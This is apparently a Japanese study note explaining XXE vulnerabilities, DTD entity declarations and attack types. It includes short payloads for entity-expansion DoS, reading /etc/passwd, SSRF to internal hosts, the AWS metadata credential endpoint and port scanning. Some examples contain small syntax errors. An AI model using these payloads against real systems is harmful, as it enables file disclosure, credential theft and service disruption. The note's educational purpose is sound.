XXE（XML External Entity）

Thursday, November 18, 2021　8:14 AM

XXE の概要

XXE は、XMLの構文をアプリケーションが解析（パース）する際に発生する脆弱性・攻撃です。
この脆弱性が Webアプリケーションに存在した場合、内部の機密情報がリモートの第三者から取得される可能性があります。
この脆弱性は、DTD（Document Type Definition）内の外部実態参照を悪用する脆弱性である。

XMLの構文には、内部リソース・外部リソース（URL）を読み込む構文が存在する。この内外部のリソースを呼ぶ構文を「実態参照」と呼び、XML構文である「DTD内で定義する。」

DTD とは

DTD とは、XMLの構造を定義するための構文で、「どのような要素」が「どのような型で定義」され「何回登場する」か「その実態は何か（どのリソースか）」といった情報から構成されています。
ここでは、XXEの理解に必要であるDTDにおける「実体宣言・実態参照」にフォーカスをあてる。

DTDの例

```
<!DOCTYPE productData [
<!ELEMENT productId ANY>
<!ELEMENT productComment (#PCDATA)>
<!ELEMENT userVariable "置換される文字" >
]>
<productData>
  <productId>12345</productId>
  <productComment>&userVariable;</productComment>
</productData>
```

DTDは、`<!DOCTYPE>` から始まりこのDTDないに構造の定義や実体宣言が行われる。
`<!ENTITY>` という記述により実体宣言が行われる。
XMLインスタンスは、`<productData>`からの部分になる。

実体宣言と実体参照

実体宣言とは、データをXMLに直接記載せずに変数のように扱える機能です。
この宣言されたものを「Entity（実体）」といい、この宣言されたEntityを XMLインスタンス内にて参照することができる。

```
<!DOCTYPE user [
<!ENTITY fileData SYSTEM "file:///var/www/app/static/user.xml">
]>
<user>
  &fileData;
</user>
```

Entity（実体）「fileData」は「user.xml」というファイルであると宣言しています。そのデータをインスタンス内で実態参照（&fileData）している。

XXEを利用した攻撃手法

- Dos
- LFI /RFI
- SSRF

■ XXE による Dos

大量データのEntityを1つ宣言し、さらにそのEntityを何度も参照するEntiryを宣言します。

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

これにより XML を解析する際に、大量データのEntityに何度もアクセスし、DoSが発生します。

■ XXE による LFI / RFI

外部実体参照を利用することで、本来アクセスできない（ローカル / リモート含む）ファイルへアクセスすることができる。
ここでは LFI のみ。

LFIは一般的に内部リソースを取得する際に用いられる手法です。

```
<!DOCTYPE data [
<!ENTITY secretData SYSTEM "file:///etc/passwd">
]>
<data>
  &secretData;
</data>
```

SecretDataにfileスキームを利用し、/etc/passwd を読むこむように宣言しています。
そして、$secretData;で/etc/passwdファイルを参照します。

■ XXE による SSRF（RFI）

SSRFは、本来ローカルやイントラネットなどの特定の領域からしかアクセスできないサーバーに、XXE の脆弱性が内在しているサーバーからリクエストを強制させる手法です。
この脆弱性を利用することで、本来アクセス不可能な領域に対してリクエストを送ることができます。

```
<!ENTITY ssrf SYSTEM "http://10.xxx.xxx.xxx/secret.txt">
```

SSRF の発生した攻撃手法としては、
- AWS などの API活用
- Port Scan

などがあります。

例えば AWS の EC2 インスタンスでは http://169.254.169.254/latest/meta-data/ と言ったアドレスに HTTP リクエストを送ることで、自身のクレデンシャルを返す API が用意されています。

Port Scanでは、XXEの脆弱性を内在した内部システムから特定URLの特定ポートにアクセスすることにより、ポートの開閉状況を把握することができます。

```
<!DOCTYPE portScan SYSTEM "http://127.0.0.1:12345">]>
```